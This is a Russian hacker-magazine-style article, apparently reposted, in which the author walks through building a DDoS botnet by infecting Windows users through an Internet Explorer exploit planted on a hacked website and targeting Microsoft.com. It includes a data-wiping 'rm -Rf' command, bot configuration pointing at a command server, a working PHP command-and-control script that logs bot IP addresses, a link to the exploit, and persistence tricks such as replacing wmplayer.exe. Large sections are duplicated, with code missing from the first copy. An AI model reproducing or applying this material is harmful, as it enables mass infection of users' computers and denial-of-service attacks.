Если ты временами страдаешь провалами в памяти и совсем позабыл, что такое DDoS-атаки, напомню. Допустим, мне приспичило вывести крупный сервер неприятеля из строя. Каким образом я могу это сделать? Конечно, существует множество различных способов реализации моей задумки. Например, если мне удастся поломать сервак, получить root-shell, я смогу выполнить и команду «cd /;rm –Rf *», в результате чего все файлы, находящиеся на серванте удалятся и компьютер естественным образом перестанет работать. Но этот метод не так уж и идеален – получить шелл-доступ с абсолютными привилегиями не всегда просто. Поэтому порой бывает целесообразно использовать другие, более универсальные способы. Например, можно послать серверу огромное количество мусорного трафика, полностью забив входящими пакетами канал жертвы. В результате этого атакуемый компьютер просто перестанет отвечать на запросы до тех пор, пока не прекратится флуд. Конечно же, для реализации этой технологии общая пропускная способность каналов, с которых производится атака, должна быть больше, чем канал атакуемой тачки.
На распутье
В общем-то, цель понятная: мне нужно завладеть каналами, суммарная производительность которых превышает или хотя бы сравнима со скоростью канала жертвы. Тут можно пойти двумя путями. Первый заключается вот в чем. Можно взломать несколько крупных серверов, залить и собрать на них специализированный софт, реализующий одну из flood-атак, после чего отдать им команду на начало DDoS-атаки. Так, например, FIN/ACK flooder от 3APA3’ы (security.nnov.ru/files/stream3.c) “на ура” валит сервера под Win2k. Но что бы не говорили, поломать десяток крупных серверов – сложная, порой непосильная задача. Именно по этой причине сегодня я пойду вторым путем: устрою массовое протроянивание машин простых юзеров, использующих скромные каналы и юзающих в качестве операционки Windows. Разумеется, для этого я заюзаю один из распространенных виндовых багов, либо банально проспамлю юзеров специальным, заранее подготовленным трояном, чтобы превратить их тачки в своих ручных зверьков. Совершенно ясно, что каналы связи с инетом у большинства юзеров Сети гораздо уже, чем у крупных серверов, поэтому, чтобы создать мощную армию DDoS-ботов, придется поломать несколько тысяч пользователей. С таким отрядом вполне уже можно завалить и крупную добычу. Сейчас я покажу тебе, как лучше всего реализовать эту атаку на практике. Точи коньки, поехали!
Готовим бойца
Прежде, чем начинать DDoS-атаку на Microsoft.com, необходимо как следует подготовиться. Прежде всего нужно найти подходящего DDoS-трояна, которым я буду заражать взломанные компьютеры. На самом деле, найти что-то стоящее в интернете – дохлый номер, в чем я сам наглядно убедился за несколько часов непрерывного серфинга различных поисковых машин, форумов и хакерских архивов. Ни одна из публичных тулз не подходила мне по всем параметрам. Чего же я требовал от DDoS-софта? Прежде всего, нужно понимать, что чем скромнее размер выполняемого бинарника, тем лучше: троян должен быть маленьким и юрким, чтобы его было проще установить и чтобы он не бросался сильно в глаза. Одновременно с этим тулза должна эффективно флудить жертву, засыпая ее не по-детски пакетами, используя одну из классических ddos-технологий. Так же очень важно, чтобы ботами можно было легко управлять – армия из тысячи бойцов должна быть мобильной и послушной. Увы, ничего стоящего я в инете не нашел и постепенно вплотную подошел к мысли, что надо либо искать по знакомым что-то приватное, либо писать новый, оригинальный инструмент. Я потратил некоторое время на то, чтобы убедиться: расстаться с готовым инструментом для ддоса никто не спешит и найти подходящий вариант будет сложно - проще написать его самостоятельно. Однако я не знаток в системном программировании под Windows, поэтому обратился к Горлуму, который по старой дружбе подогнал офигенный ddos-инструмент, полностью подходящий под все мои требования. Выполняемый файл весит всего 7 килобайт, поэтому его будет легко впаривать. Впрочем, возможностей у тулзы минимум: этот троян умеет организовывать icmp-flood атаки, выполнять любую команду для cmd и выводить пользователю текстовое сообщение в MsgBox. На первый взгляд может показаться, что этого недостаточно. В самом деле, если уж захватывать тысячу компьютеров, то может быть стоит обеспечить какой-то более продуманный контроль над тачками? Однако при ближайшем рассмотрении оказывается, что и этого набора функций более чем достаточно. Действительно, при помощи команды ftp можно закачать на винчестер любой другой бинарник и легко его запустить. Так что никаких проблем не возникнет, если появится желание продвинуться дальше и по полной нагрузить захваченные тачки.
Боец готов!
Итак, спустя пару часов после того, как я постучался к Горлуму в icq, мне пришло письмо с исходными кодами и собранным бинарником DDoS-бота. Настало время протестировать его в работе и разобраться хотя бы поверхностно, как он работает. После непродолжительного изучения исходников и работы программы, на моем лице возникла удовлетворенная улыбка: все работает просто офигительно. В самом начале кода определяется несколько ключевых параметров, которые тебе надо будет поменять, если ты, вопреки предостережениям, захочешь повторить мои действия. Но прежде чем вставать на эту шаткую дорожку, знай, что все это незаконно и попадает сразу под несколько статей уголовного кодекса нашей великой державы. Кроме того, следует знать, весь мой рассказ – чистой воды выдумка уколовшегося наркомана, а любые совпадения – чистой воды случайность. Итак, в самом начале исходника есть следующие строки:
Основные параметры DDoS-бота
Скажу несколько слов о каждом параметре. Как я уже отмечал выше, троян самостоятельно получает команду, подключаясь к веб-серверу, урл которого определяется константой WEBADDRESS. Бот запрашивает на этом сервере документ с именем, хранящимся в WEBFILE и, исходя из полученной там команды, выполняет некоторое действие. Как вариант – начинает флудить жертву пакетами длинной PACKETSIZE, отсылая их 1 раз во временной промежуток, определяемый параметром FREQ. Дефолтные параметры отлично работают для средней паршивости кабельных каналов, при использовании модемного соединения могут возникнуть некоторые проблемы, поэтому целесообразно может быть уменьшить длину пакета и увеличить параметр FREQ. Но это уже твое дело --. Как тебе, надеюсь, понятно, в качестве файла с заданием может выступать не просто текстовик, но и любой сценарий – ведь web-сервер отдает клиенту текстовый вывод этого скрипта, а DDoS-боту нет никакой разницы, с чем работать. По этой причине целесообразно для удобства написать несложный php-сценарий для управления ботами и сборки статистики. Я не стану тебя особенно грузить и просто приведу здесь содержимое этого скрипта, который я написал за 5 минут:
Пхп скрипт для управления ботами.
Итак, мы создали систему контроля за работой ботов и сбора статистики. Теперь настало время подготовить код эксплойта для затроянивания пользователей.
Засылаем казачка
Если ты регулярно читаешь “Х”, то помнишь, что год назад Куттер написал статью «Ослик IE: залей через меня трояна». В ней он описывал javascript-эксплойт, эксплуатирующий баг в непропатченном осле шестой версии, который запущен под Windows XP. Сплойт можно вставить на какую-нибудь html-страницу похаканного сайта и уязвимые посетители, просматривающие страницу со сплойтом, будут протрояниваться. В самом деле, такой подход довольно производителен. Основная проблема заключается в том, чтобы сломать какой-нибудь популярный ресурс с большой посещаемостью. Хотя, на самом-то деле, сделать это не так уж и сложно. Мы не раз писали о серьезных проблемах с безопасностью даже в самых больших и коммерчески успешных проектах – что уж говорить про середнячков с посещаемостью 2-3 тысячи хостов в день? Действительно, сейчас в ходу очень много актуальных уязвимостей, да что там, порой можно найти узлы, на которых присутствуют тупые баги конца девяностых. Как бы то ни было, наша статья не о взломе серверов. Об этом тебе лучше почитать в других статьях этого номера, а сейчас настало время впарить нашего чудо-трояна посетителям взломанного ресурса. Я специально не стал приводить в журнале код сплойта, который реализует эту задачу, поскольку, во-первых, все равно ты не будешь перебивать его со страниц журнала руками, а, во-вторых, мы уже печатали его в куттеровской статье. Сплоит ты можешь найти на сайте ired.inins.ru/xa/. Для его использования понадобится произвести элементарные изменения в его коде: изменить путь для закачки нашего трояна. Это не должно вызвать затруднений, поскольку тело сплойта хорошо прокомментировано. Я сохранял нашего трояна в ветку автозагрузки: как только юзер ребутнется, троян стартует, скопирует себя в system32 под хитрым именем и сотрет из автозагрузки – таким образом, пользователь ничего не заметит. Можно так же заменить трояном файл c:\\Program Files\\Windows Media Player\\wmplayer.exe – в этом случае юзер затроянится сразу после просмотра web-страницы.
После того, как я отредактировал нужным образом код эксплойта, я выбрал один из своих поломанных сайтов и изменил главную страницу, вставив злой код. Хотя сплоит и палит свою работу, пользователи не увидят ничего подозрительного и продолжат юзать популярный ресурс. А в это время в чреве windows будут происходить необратимые процессы: загрузиться и выполниться наш троян, который надежно пропишется в системе. После перезагрузки он подключится к серверу, получит команду и начнет ее методично выполнять. Теперь оставалось только ждать, пока затроянится достаточное количество пользователей. По моим расчетам, примерно 20% посетителей используют уязвимые браузеры и являются моими клиентами. Это не так уж и мало, если вдуматься: в день сайт посещало примерно 15000 юзеров, получалось, что за сутки к моей армии должно прибавляться примерно 3000 бойцов.
Источник: xakyng.0pk.ru
На распутье
В общем-то, цель понятная: мне нужно завладеть каналами, суммарная производительность которых превышает или хотя бы сравнима со скоростью канала жертвы. Тут можно пойти двумя путями. Первый заключается вот в чем. Можно взломать несколько крупных серверов, залить и собрать на них специализированный софт, реализующий одну из flood-атак, после чего отдать им команду на начало DDoS-атаки. Так, например, FIN/ACK flooder от 3APA3’ы (security.nnov.ru/files/stream3.c) “на ура” валит сервера под Win2k. Но что бы не говорили, поломать десяток крупных серверов – сложная, порой непосильная задача. Именно по этой причине сегодня я пойду вторым путем: устрою массовое протроянивание машин простых юзеров, использующих скромные каналы и юзающих в качестве операционки Windows. Разумеется, для этого я заюзаю один из распространенных виндовых багов, либо банально проспамлю юзеров специальным, заранее подготовленным трояном, чтобы превратить их тачки в своих ручных зверьков. Совершенно ясно, что каналы связи с инетом у большинства юзеров Сети гораздо уже, чем у крупных серверов, поэтому, чтобы создать мощную армию DDoS-ботов, придется поломать несколько тысяч пользователей. С таким отрядом вполне уже можно завалить и крупную добычу. Сейчас я покажу тебе, как лучше всего реализовать эту атаку на практике. Точи коньки, поехали!
Готовим бойца
Прежде, чем начинать DDoS-атаку на Microsoft.com, необходимо как следует подготовиться. Прежде всего нужно найти подходящего DDoS-трояна, которым я буду заражать взломанные компьютеры. На самом деле, найти что-то стоящее в интернете – дохлый номер, в чем я сам наглядно убедился за несколько часов непрерывного серфинга различных поисковых машин, форумов и хакерских архивов. Ни одна из публичных тулз не подходила мне по всем параметрам. Чего же я требовал от DDoS-софта? Прежде всего, нужно понимать, что чем скромнее размер выполняемого бинарника, тем лучше: троян должен быть маленьким и юрким, чтобы его было проще установить и чтобы он не бросался сильно в глаза. Одновременно с этим тулза должна эффективно флудить жертву, засыпая ее не по-детски пакетами, используя одну из классических ddos-технологий. Так же очень важно, чтобы ботами можно было легко управлять – армия из тысячи бойцов должна быть мобильной и послушной. Увы, ничего стоящего я в инете не нашел и постепенно вплотную подошел к мысли, что надо либо искать по знакомым что-то приватное, либо писать новый, оригинальный инструмент. Я потратил некоторое время на то, чтобы убедиться: расстаться с готовым инструментом для ддоса никто не спешит и найти подходящий вариант будет сложно - проще написать его самостоятельно. Однако я не знаток в системном программировании под Windows, поэтому обратился к Горлуму, который по старой дружбе подогнал офигенный ddos-инструмент, полностью подходящий под все мои требования. Выполняемый файл весит всего 7 килобайт, поэтому его будет легко впаривать. Впрочем, возможностей у тулзы минимум: этот троян умеет организовывать icmp-flood атаки, выполнять любую команду для cmd и выводить пользователю текстовое сообщение в MsgBox. На первый взгляд может показаться, что этого недостаточно. В самом деле, если уж захватывать тысячу компьютеров, то может быть стоит обеспечить какой-то более продуманный контроль над тачками? Однако при ближайшем рассмотрении оказывается, что и этого набора функций более чем достаточно. Действительно, при помощи команды ftp можно закачать на винчестер любой другой бинарник и легко его запустить. Так что никаких проблем не возникнет, если появится желание продвинуться дальше и по полной нагрузить захваченные тачки.
Боец готов!
Итак, спустя пару часов после того, как я постучался к Горлуму в icq, мне пришло письмо с исходными кодами и собранным бинарником DDoS-бота. Настало время протестировать его в работе и разобраться хотя бы поверхностно, как он работает. После непродолжительного изучения исходников и работы программы, на моем лице возникла удовлетворенная улыбка: все работает просто офигительно. В самом начале кода определяется несколько ключевых параметров, которые тебе надо будет поменять, если ты, вопреки предостережениям, захочешь повторить мои действия. Но прежде чем вставать на эту шаткую дорожку, знай, что все это незаконно и попадает сразу под несколько статей уголовного кодекса нашей великой державы. Кроме того, следует знать, весь мой рассказ – чистой воды выдумка уколовшегося наркомана, а любые совпадения – чистой воды случайность. Итак, в самом начале исходника есть следующие строки:
Основные параметры DDoS-бота
Код:
// адрес web-сервера
#define WEBADDRESS "ired.inins.ru"
// имя файла\скрипта
#define WEBFILE "flood"
// размер пакета
#define PACKETSIZE 1000
// частота отсылки пакетов
#define FREQ 100Пхп скрипт для управления ботами.
PHP:
if(isset($_GET[sta])) { /* Конфигурируем ботов */
Echo "<h1> Configuring and stats about DDoS bots</h1> ";
if(isset($_GET[sub])) { /* Если форма с новым заданием отправлена, открываем файл и перезаписываем содердимое */
$fp=fopen("command.db", "w");
if(fwrite($fp, $_GET[cmd])) echo "Command updated!<br> ";
}
$fp=fopen("command.db", "r"); /* Выводим форму для смены текущей команды */
$cmd=fread($fp, 100);
echo "<form action=''> ";
echo "<input type=hidden name=sta value=1> ";
Echo "Current command is: <input type=text name=cmd value='$cmd'> ";
echo "<input type=submit name=sub value=\"Refresh!\"";
echo "</form> ";
} else { /* Если бот запрашивает команду, выводим ему содержимое файла, где она хранится и записываем ip в специальная файл */
$HTTP_SERVER_VARS["REMOTE_ADDR"];
$fp=fopen("stat.db", "a");
fwrite($fp, $HTTP_SERVER_VARS["REMOTE_ADDR"]);
fwrite($fp, "\n");
$fp=fopen("command.db", "r");
$cmd=fread($fp, 100);
echo $cmd; }Засылаем казачка
Если ты регулярно читаешь “Х”, то помнишь, что год назад Куттер написал статью «Ослик IE: залей через меня трояна». В ней он описывал javascript-эксплойт, эксплуатирующий баг в непропатченном осле шестой версии, который запущен под Windows XP. Сплойт можно вставить на какую-нибудь html-страницу похаканного сайта и уязвимые посетители, просматривающие страницу со сплойтом, будут протрояниваться. В самом деле, такой подход довольно производителен. Основная проблема заключается в том, чтобы сломать какой-нибудь популярный ресурс с большой посещаемостью. Хотя, на самом-то деле, сделать это не так уж и сложно. Мы не раз писали о серьезных проблемах с безопасностью даже в самых больших и коммерчески успешных проектах – что уж говорить про середнячков с посещаемостью 2-3 тысячи хостов в день? Действительно, сейчас в ходу очень много актуальных уязвимостей, да что там, порой можно найти узлы, на которых присутствуют тупые баги конца девяностых. Как бы то ни было, наша статья не о взломе серверов. Об этом тебе лучше почитать в других статьях этого номера, а сейчас настало время впарить нашего чудо-трояна посетителям взломанного ресурса. Я специально не стал приводить в журнале код сплойта, который реализует эту задачу, поскольку, во-первых, все равно ты не будешь перебивать его со страниц журнала руками, а, во-вторых, мы уже печатали его в куттеровской статье. Сплоит ты можешь найти на сайте ired.inins.ru/xa/. Для его использования понадобится произвести элементарные изменения в его коде: изменить путь для закачки нашего трояна. Это не должно вызвать затруднений, поскольку тело сплойта хорошо прокомментировано. Я сохранял нашего трояна в ветку автозагрузки: как только юзер ребутнется, троян стартует, скопирует себя в system32 под хитрым именем и сотрет из автозагрузки – таким образом, пользователь ничего не заметит. Можно так же заменить трояном файл c:\\Program Files\\Windows Media Player\\wmplayer.exe – в этом случае юзер затроянится сразу после просмотра web-страницы.
После того, как я отредактировал нужным образом код эксплойта, я выбрал один из своих поломанных сайтов и изменил главную страницу, вставив злой код. Хотя сплоит и палит свою работу, пользователи не увидят ничего подозрительного и продолжат юзать популярный ресурс. А в это время в чреве windows будут происходить необратимые процессы: загрузиться и выполниться наш троян, который надежно пропишется в системе. После перезагрузки он подключится к серверу, получит команду и начнет ее методично выполнять. Теперь оставалось только ждать, пока затроянится достаточное количество пользователей. По моим расчетам, примерно 20% посетителей используют уязвимые браузеры и являются моими клиентами. Это не так уж и мало, если вдуматься: в день сайт посещало примерно 15000 юзеров, получалось, что за сутки к моей армии должно прибавляться примерно 3000 бойцов.
Источник: xakyng.0pk.ru